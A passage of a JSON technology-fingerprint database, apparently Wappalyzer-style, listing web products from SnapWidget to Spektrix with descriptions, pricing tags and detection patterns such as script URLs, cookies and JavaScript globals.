  \"saas\": true,\n    \"website\": \"https://snaphost.com\"\n  },\n  \"SnapWidget\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"SnapWidget is a set of interactive Instagram, Twitter and 500px widgets.\",\n    \"dom\": [\n      \"iframe[src*='snapwidget.com/']\"\n    ],\n    \"icon\": \"SnapWidget.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"snapwidget\\\\.com/\"\n    ],\n    \"website\": \"https://snapwidget.com\"\n  },\n  \"Snipcart\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"snipcart-cart\": \"\"\n    },\n    \"description\": \"Snipcart is a shopping cart platform that can be integrated into any website with simple HTML and JavaScript.\",\n    \"dom\": {\n      \"div#snipcart\": {\n        \"text\": \"\"\n      },\n      \"link[href*='snipcart.css']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Snipcart.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.snipcart\\\\.com/themes/v([\\\\w.]+)/default/snipcart\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://snipcart.com\"\n  },\n  \"SniperCRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"SniperCRM is a platform designed to automate, manage, and scale ecommerce operations.\",\n    \"icon\": \"SniperCRM.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.snipercrm\\\\.io/\"\n    ],\n    \"website\": \"https://snipercrm.io\"\n  },\n  \"SniperFast\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"SniperFast is instant search system for ecommerce sites.\",\n    \"icon\": \"SniperFast.png\",\n    \"js\": {\n      \"sniperEnableSearch\": \"\",\n      \"sniper_search_key\": \"\",\n      \"sniperfast_page_id\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sniperfast\\\\.com\"\n    ],\n    \"website\": \"https://www.sniperfast.com\"\n  },\n  \"Sniply\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Sniply is a special URL shortener that allows to add a call-to-action to any landing page.\",\n    \"icon\": \"Sniply.svg\",\n    \"js\": {\n      \"sniply.create_sniply_bar\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"gosniply\\\\.com/\"\n    ],\n    \"website\": \"https://sniply.io\"\n  },\n  \"Snoobi\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Snoobi is a web analytics and visitor tracking tool.\",\n    \"icon\": \"Snoobi.svg\",\n    \"js\": {\n      \"snoobi\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"snoobi\\\\.com/snoop\\\\.php\"\n    ],\n    \"website\": \"https://www.snoobi.com\"\n  },\n  \"Snowplow Analytics\": {\n    \"cats\": [\n      10,\n      63\n    ],\n    \"cookies\": {\n      \"_sp_id\": \"\",\n      \"sp\": \"\\\\;confidence:50\"\n    },\n    \"description\": \"Snowplow is an open-source behavioral data management platform for businesses.\",\n    \"icon\": \"Snowplow.svg\",\n    \"js\": {\n      \"GlobalSnowplowNamespace\": \"\",\n      \"Snowplow\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sp\\\\.js\\\\;confidence:50\",\n      \"d1fc8wv8zag5ca\\\\.cloudfront\\\\.net/.+/sp\\\\.js\",\n      \"cdn\\\\.jsdelivr\\\\.net/gh/snowplow/sp-js-assets@(?:.+)/sp\\\\.js\",\n      \"cdnjs\\\\.cloudflare\\\\.com/ajax/libs/snowplow/(?:.+)/sp.*\\\\.js\",\n      \"unpkg.com/@snowplow/javascript-tracker@(?:.+)/dist/sp.*\\\\.js\",\n      \"cdn\\\\.jsdelivr\\\\.net/npm/@snowplow/javascript-tracker@(?:.+)/dist/sp\\\\.js\"\n    ],\n    \"website\": \"https://snowplowanalytics.com\"\n  },\n  \"SoTellUs\": {\n    \"cats\": [\n      90\n    ],\n    \"cookies\": {\n      \"stu_src\": \"\"\n    },\n    \"description\": \"SoTellUs is a video review platform.\",\n    \"icon\": \"SoTellUs.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//sotellus\\\\.com/js/sotellus_widget\\\\.js\"\n    ],\n    \"website\": \"https://sotellus.com\"\n  },\n  \"SobiPro\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"SobiPro is a directory and listing management extension for Joomla, used to create and manage directories, business listings, and other types of structured content on websites.\",\n    \"icon\": \"Sobi.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"js\": {\n      \"SobiProUrl\": \"\"\n    },\n    \"website\": \"https://sigsiu.net/sobipro.html\"\n  },\n  \"Social Pinpoint\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Social Pinpoint is a comprehensive online platform that facilitates meaningful and accessible engagement opportunities that bring your community together.\",\n    \"dom\": [\n      \"a[href*='www.socialpinpoint.com']\"\n    ],\n    \"icon\": \"socialpinpoint.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.socialpinpoint.com/\"\n  },\n  \"Social Snowball\": {\n    \"cats\": [\n      71\n    ],\n    \"cookies\": {\n      \"_omappvp\": \"\",\n      \"social_snowball_session\": \"\"\n    },\n    \"description\": \"Social Snowball is an affiliate and referral marketing platform tailored for ecommerce brands.\",\n    \"icon\": \"SocialSnowball.svg\",\n    \"js\": {\n      \"snowballTrackScript\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://socialsnowball.io\"\n  },\n  \"Social9\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Social9 is a social sharing widgets and plugins.\",\n    \"icon\": \"Social9.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"social9\\\\.com/.+\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://social9.com\"\n  },\n  \"SocialJuice\": {\n    \"cats\": [\n      90,\n      5\n    ],\n    \"description\": \"SocialJuice is a simple tool to collect video testimonials or textual testimonials from your clients.\",\n    \"dom\": [\n      \"iframe[src*='embed.socialjuice.io/']\"\n    ],\n    \"icon\": \"SocialJuice.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://socialjuice.io\"\n  },\n  \"SocialLadder\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SocialLadder is a complete end-to-end creator management solution for brands looking to maximize and scale their brand ambassador, influencer, and affiliate marketing efforts.\",\n    \"icon\": \"SocialLadder.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"socialladder\\\\.rkiapps\\\\.com/\"\n    ],\n    \"website\": \"https://socialladderapp.com\"\n  },\n  \"Societe des Avis Garantis\": {\n    \"cats\": [\n      87,\n      90\n    ],\n    \"description\": \"Societe des Avis Garantis is a French company that provides customer review and rating services for businesses through its online platform.\",\n    \"icon\": \"Societe des Avis Garantis.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/ag-core/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.societe-des-avis-garantis.fr\"\n  },\n  \"Socital\": {\n    \"cats\": [\n      6,\n      32\n    ],\n    \"description\": \"Socital is an on-site campaign toolkit designed for ecommerce platforms.\",\n    \"dom\": [\n      \"script#socital-script\"\n    ],\n    \"icon\": \"Socital.svg\",\n    \"js\": {\n      \"socital\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://socital.com\"\n  },\n  \"SockJS\": {\n    \"cats\": [\n      18,\n      59\n    ],\n    \"description\": \"SockJS is a browser JavaScript library that provides a WebSocket-like object.\",\n    \"icon\": \"SockJS.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"sockjs(?:-((?:\\\\d+\\\\.)+\\\\d+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?sockjs(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://sockjs.org\"\n  },\n  \"Socket.io\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"Socket.io.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"io.Socket\": \"\",\n      \"io.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"socket\\\\.io.*\\\\.js\"\n    ],\n    \"website\": \"https://socket.io\"\n  },\n  \"SoftTr\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"SoftTr is a company that provides software solutions for ecommerce, web hosting, and domain registration services.\",\n    \"icon\": \"softtr.svg\",\n    \"meta\": {\n      \"author\": \"SoftTr E-Ticaret Sitesi Yazılımı\"\n    },\n    \"website\": \"https://www.softtr.com\"\n  },\n  \"Softr\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Softr is a tool designed to help users build custom websites, web apps, clients portals, or internal tools using Airtable or Google Sheets data.\",\n    \"dom\": {\n      \"link[href*='softr']\": {\n        \"attributes\": {\n          \"href\": \"softr-(?:files\\\\.com/|prod.imgix.net/)\"\n        }\n      }\n    },\n    \"icon\": \"Softr.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.softr.io\"\n  },\n  \"SoftwareSuggest\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"SoftwareSuggest is a platform assisting businesses in locating suitable software solutions.\",\n    \"dom\": [\n      \"iframe[src*='trk.softwaresuggest.com']\"\n    ],\n    \"icon\": \"SoftwareSuggest.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"trk\\\\.softwaresuggest\\\\.com\"\n    ],\n    \"website\": \"https://www.softwaresuggest.com\"\n  },\n  \"Soisy\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Soisy is a buy now, pay later solution provider.\",\n    \"icon\": \"Soisy.png\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.soisy\\\\.it/\"\n    ],\n    \"website\": \"https://www.soisy.it\"\n  },\n  \"Soldsie\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Soldsie is a social commerce platform that allows customers to purchase products through comments on social media platforms such as Facebook, Instagram, and Pinterest.\",\n    \"icon\": \"Soldsie.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"lib\\\\.soldsie\\\\.com/\"\n    ],\n    \"website\": \"https://soldsie.com\"\n  },\n  \"SolidJS\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"SolidJS is a purely reactive library. It was designed from the ground up with a reactive core. It's influenced by reactive principles developed by previous libraries.\",\n    \"icon\": \"SolidJS.svg\",\n    \"js\": {\n      \"Solid$$\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.solidjs.com/\"\n  },\n  \"SolidPixels\": {\n    \"cats\": [\n      1,\n      6,\n      4\n    ],\n    \"description\": \"Solidpixels is platform to build websites.\",\n    \"icon\": \"SolidPixels.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"meta\": {\n      \"web_author\": \"^solidpixels\"\n    },\n    \"scriptSrc\": [\n      \"^https?://cdn\\\\.solidpixels\\\\.net/\"\n    ],\n    \"website\": \"https://www.solidpixels.net\"\n  },\n  \"SolidStart\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"description\": \"SolidStart is the Solid app framework.\",\n    \"icon\": \"SolidJS.svg\",\n    \"implies\": [\n      \"SolidJS\"\n    ],\n    \"js\": {\n      \"_$HY.init\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://start.solidjs.com\"\n  },\n  \"Solidus\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:nebulab:solidus:*:*:*:*:*:*:*:*\",\n    \"description\": \"Solidus is an open source ecommerce platform designed for high volume, complex storefronts.\",\n    \"icon\": \"Solidus.svg\",\n    \"js\": {\n      \"Solidus\": \"\",\n      \"SolidusPaypalCommercePlatform\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://solidus.io\"\n  },\n  \"Solodev\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Solodev is a cloud-based content management system (CMS) and web experience platform.\",\n    \"headers\": {\n      \"solodev_session\": \"\"\n    },\n    \"html\": [\n      \"<div class=[\\\"']dynamicDiv[\\\"'] id=[\\\"']dd\\\\.\\\\d\\\\.\\\\d(?:\\\\.\\\\d)?[\\\"']>\"\n    ],\n    \"icon\": \"Solodev.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.solodev.com\"\n  },\n  \"Solr\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*\",\n    \"description\": \"Solr is an open-source search platform built on Apache Lucene, used for indexing and searching large-scale datasets.\",\n    \"icon\": \"Solr.svg\",\n    \"implies\": [\n      \"Lucene\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://lucene.apache.org/solr/\"\n  },\n  \"Solusquare OmniCommerce Cloud\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_solusquare\": \"\"\n    },\n    \"icon\": \"Solusquare.svg\",\n    \"implies\": [\n      \"Adobe ColdFusion\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Solusquare$\"\n    },\n    \"website\": \"https://www.solusquare.com\"\n  },\n  \"Solve Media\": {\n    \"cats\": [\n      16,\n      36\n    ],\n    \"icon\": \"Solve Media.png\",\n    \"js\": {\n      \"ACPuzzle\": \"\",\n      \"_ACPuzzle\": \"\",\n      \"_adcopy-puzzle-image-image\": \"\",\n      \"adcopy-puzzle-image-image\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://api\\\\.solvemedia\\\\.com/\"\n    ],\n    \"website\": \"https://solvemedia.com\"\n  },\n  \"Solvemate\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Solvemate is a customer service automation platform that enables brands to deliver quality customer service through meaningful conversations via chatbots.\",\n    \"dom\": [\n      \"link[href*='.solvemate.com']\"\n    ],\n    \"icon\": \"Solvemate.svg\",\n    \"js\": {\n      \"solvemate.config.solvemateCDN\": \"\",\n      \"solvemateCli\": \"\",\n      \"solvemateConfig\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.solvemate.com\"\n  },\n  \"Solvvy\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Solvvy provides live chat and chatbot services.\",\n    \"icon\": \"solvvy.png\",\n    \"js\": {\n      \"Solvvy\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.solvvy\\\\.com/\"\n    ],\n    \"website\": \"https://solvvy.com/\"\n  },\n  \"Sonar\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Sonar is a fully integrated system offering loan origination and point-of-sale solutions, combined with customer relationship management capabilities.\",\n    \"icon\": \"Sonar.svg\",\n    \"js\": {\n      \"SonarChatWidget.display\": \"\",\n      \"mySonar.ajaxProtocol\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://sendsonar.com\"\n  },\n  \"SonarQubes\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"SonarQube is an open-source platform for the continuous inspection of code quality to perform automatic reviews with static analysis of code to detect bugs, code smells, and security vulnerabilities on 20+ programming languages.\",\n    \"html\": [\n      \"<link href=\\\"/css/sonar\\\\.css\\\\?v=([\\\\d.]+)\\\\;version:\\\\1\",\n      \"<title>SonarQube</title>\"\n    ],\n    \"icon\": \"SonarQube.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"SonarMeasures\": \"\",\n      \"SonarRequest\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"^SonarQubes$\"\n    },\n    \"scriptSrc\": [\n      \"^/js/bundles/sonar\\\\.js?v=([\\\\d.]+)$\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.sonarqube.org/\"\n  },\n  \"Sonobi\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Sonobi is an ad technology developer that designs advertising tools and solutions for the media publishers, brand advertisers and media agencies.\",\n    \"icon\": \"Sonobi.png\",\n    \"saas\": true,\n    \"website\": \"https://sonobi.com\",\n    \"xhr\": [\n      \"apex\\\\.go\\\\.sonobi\\\\.com\"\n    ]\n  },\n  \"Soocommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Soocommerce is a platform specialized in ecommerce software development.\",\n    \"icon\": \"Soocommerce.svg\",\n    \"js\": {\n      \"sessionStorage.firmName\": \"soocommerce\"\n    },\n    \"meta\": {\n      \"author\": \"Soocommerce\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://soocommerce.com/\"\n  },\n  \"Sortable\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Sortable is a broad-spectrum platform that helps publishers unify demand partners, data, and tools.\",\n    \"icon\": \"Sortable.svg\",\n    \"js\": {\n      \"deployads\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.deployads\\\\.com/\"\n    ],\n    \"website\": \"https://sortable.com\"\n  },\n  \"Sorted Return\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"Sorted is a global SaaS company that provides data-driven software for checkouts, warehouses, and shipping.\",\n    \"dom\": [\n      \"a[href*='return.clicksit.com/shop/']\"\n    ],\n    \"icon\": \"Sorted.svg\",\n    \"js\": {\n      \"clicksit_window_on_load\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"return\\\\.clicksit\\\\.com/\"\n    ],\n    \"website\": \"https://sorted.com/give-your-customers-a-5-returns-experience/\"\n  },\n  \"SoteShop\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"soteshop\": \"^\\\\w+$\"\n    },\n    \"description\": \"SoteShop is an e-shop management software.\",\n    \"icon\": \"SoteShop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.soteshop.com/\"\n  },\n  \"Sotel\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Sotel is a company that provides educational solutions and tools for e-learning and online training.\",\n    \"icon\": \"Sotel.svg\",\n    \"meta\": {\n      \"generator\": \"sotel\"\n    },\n    \"website\": \"https://www.soteledu.com/en/\"\n  },\n  \"Sotoon\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Sotoon is a CDN provider serving users specially in the MENA region.\",\n    \"headers\": {\n      \"server\": \"^Sotoon$\"\n    },\n    \"icon\": \"Sotoon.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sotoon.ir\"\n  },\n  \"SoundCloud\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"SoundCloud widget gives you the ability to upload, manage and share tracks.\",\n    \"dom\": [\n      \"iframe[src*='.soundcloud.com/'], img[src*='.sndcdn.com/']\"\n    ],\n    \"icon\": \"SoundCloud.svg\",\n    \"js\": {\n      \"SC.Widget.Events.PLAY\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sndcdn\\\\.com/\"\n    ],\n    \"website\": \"https://developers.soundcloud.com/docs/api/html5-widget\"\n  },\n  \"SoundManager\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"SoundManager.png\",\n    \"js\": {\n      \"BaconPlayer\": \"\",\n      \"SoundManager\": \"\",\n      \"soundManager.version\": \"V(.+) \\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.schillmania.com/projects/soundmanager2\"\n  },\n  \"Sourcepoint\": {\n    \"cats\": [\n      67\n    ],\n    \"cookies\": {\n      \"_sp_enable_dfp_personalized_ads\": \"\"\n    },\n    \"description\": \"Sourcepoint is the data privacy software company for the digital marketing ecosystem.\",\n    \"dom\": [\n      \"body.f_sourcepoint_ccpa_on\"\n    ],\n    \"icon\": \"Sourcepoint.svg\",\n    \"js\": {\n      \"tealium_sourcepoint\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"SOURCEPOINT_MMS_DOMAIN\"\n    ],\n    \"website\": \"https://sourcepoint.com\"\n  },\n  \"Sovrn\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Sovrn is a advertising products and services provider for publishers.\",\n    \"icon\": \"Sovrn.svg\",\n    \"js\": {\n      \"sovrn\": \"\",\n      \"sovrn_render\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.(?:linksmart|lijit)\\\\.com/\"\n    ],\n    \"website\": \"https://www.sovrn.com\",\n    \"xhr\": [\n      \"\\\\.lijit\\\\.com\"\n    ]\n  },\n  \"Sovrn//Commerce\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Sovrn//Commerce is  a content monetization tool for publishers.\",\n    \"icon\": \"Sovrn.svg\",\n    \"js\": {\n      \"vglnk\": \"\",\n      \"vl_cB\": \"\",\n      \"vl_disable\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:^[^/]*//[^/]*viglink\\\\.com/api/|vglnk\\\\.js)\"\n    ],\n    \"website\": \"https://www.sovrn.com/publishers/commerce/\"\n  },\n  \"Spark CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"BNI_SparkCMSLB\": \"\"\n    },\n    \"description\": \"The CMS has been custom built by our web developers based on feedback from our clients, ensuring an easy to use platform that's been designed in consultation with the end user in mind.\",\n    \"dom\": [\n      \"link[href*='sparkcms.com.au']\"\n    ],\n    \"icon\": \"Spark.png\",\n    \"oss\": false,\n    \"scriptSrc\": [\n      \"/spark-scripts/\"\n    ],\n    \"website\": \"https://www.councilconnect.com.au/our-websites/about-spark-cms.aspx\"\n  },\n  \"SparkPost\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"SparkPost is an email infrastructure provider.\",\n    \"dns\": {\n      \"TXT\": [\n        \"sparkpostmail\\\\.com\"\n      ]\n    },\n    \"icon\": \"SparkPost.svg\",\n    \"website\": \"https://www.sparkpost.com/\"\n  },\n  \"Spatie Laravel Cookie Consent\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Spatie Laravel Cookie Consent is a banner that is displayed on websites to ask visitors for consent for the use of cookies.\",\n    \"icon\": \"Spatie.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"js\": {\n      \"laravelCookieConsent\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/spatie/laravel-cookie-consent\"\n  },\n  \"Spatie Media Library Pro\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Spatie Media Library Pro is a set of customizable UI components for Spatie Media Library.\",\n    \"icon\": \"Spatie Media Library Pro.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"pricing\": [\n      \"onetime\",\n      \"low\"\n    ],\n    \"scripts\": [\n      \"media\\\\-library\\\\-pro\\\\-core\"\n    ],\n    \"website\": \"https://medialibrary.pro\"\n  },\n  \"Spatie Support Bubble\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Spatie Support Bubble is a non-intrusive support form.\",\n    \"dom\": [\n      \"div.spatie-support-bubble\"\n    ],\n    \"icon\": \"Spatie.svg\",\n    \"implies\": [\n      \"Laravel\",\n      \"Tailwind CSS\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/spatie/laravel-support-bubble\"\n  },\n  \"SpeakPipe\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"SpeakPipe is a tool that lets websites receive voice messages from visitors, making it easier for users to leave feedback, testimonials, or contact the site owner directly.\",\n    \"icon\": \"SpeakPipe.svg\",\n    \"js\": {\n      \"_speakpipe_dialog_loaded\": \"\",\n      \"_speakpipe_open_reply_dialog\": \"\",\n      \"_speakpipe_open_reply_dialog_by_token\": \"\",\n      \"_speakpipe_open_widget\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.speakpipe.com\"\n  },\n  \"Spectra\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Spectra is a WordPress plugin that provides a collection of new and enhanced blocks for the Gutenberg editor.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/ultimate-addons-for-gutenberg/']\"\n    ],\n    \"icon\": \"Spectra.svg\",\n    \"implies\": [\n      \"Gutenberg\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/ultimate-addons-for-gutenberg/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wpspectra.com\"\n  },\n  \"Spectro\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Spectro is an ecommerce analytics and conversion optimisation tool that provides insights into customer behaviour and sales performance, helping businesses to improve their online strategies and increase conversions.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tracking\\\\.myspectro\\\\.io/\"\n    ],\n    \"website\": \"https://myspectro.io\"\n  },\n  \"Speed Kit\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Speed Kit develops a performance add-on that uses caching algorithms to minimize loading times of ecommerce websites.\",\n    \"icon\": \"Speed Kit.svg\",\n    \"js\": {\n      \"speedKit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.speedkit.com\"\n  },\n  \"SpeedCurve\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"SpeedCurve is a front-end performance monitoring service.\",\n    \"icon\": \"SpeedCurve.svg\",\n    \"js\": {\n      \"LUX.version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"LUX_t_end\": \"\\\\d+\\\\;confidence:50\",\n      \"LUX_t_start\": \"\\\\d+\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.speedcurve\\\\.com\"\n    ],\n    \"website\": \"https://www.speedcurve.com\"\n  },\n  \"SpeedEcom\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"SpeedEcom is a web marketing and dropshipping solution for Shopify.\",\n    \"icon\": \"SpeedEcom.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.speed-ecom\\\\.eu/\"\n    ],\n    \"website\": \"https://speed-ecom.eu\"\n  },\n  \"SpeedSize\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"SpeedSize is an AI-based media-compression technology that can auto-detect and compress all of a website's images and videos down to 99% of their original size without lowering the image quality.\",\n    \"icon\": \"SpeedSize.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/speedsize(?:-sw)?\\\\.js\\\\;confidence:90\",\n      \"\\\\.speedsize\\\\.com/\"\n    ],\n    \"scripts\": [\n      \"data-speedsize-(?:srcset|src|params)?\"\n    ],\n    \"website\": \"https://speedsize.com\"\n  },\n  \"Speedimize\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Speedimize is a Shopify agency that focuses on website speed optimisation and performance issues.\",\n    \"icon\": \"Speedimize.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/.+/assets/speedimize\\\\.js\"\n    ],\n    \"website\": \"https://speedimize.io\"\n  },\n  \"Spektrix\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Spektrix is a cloud-based ticketing, marketing, and fundraising CRM 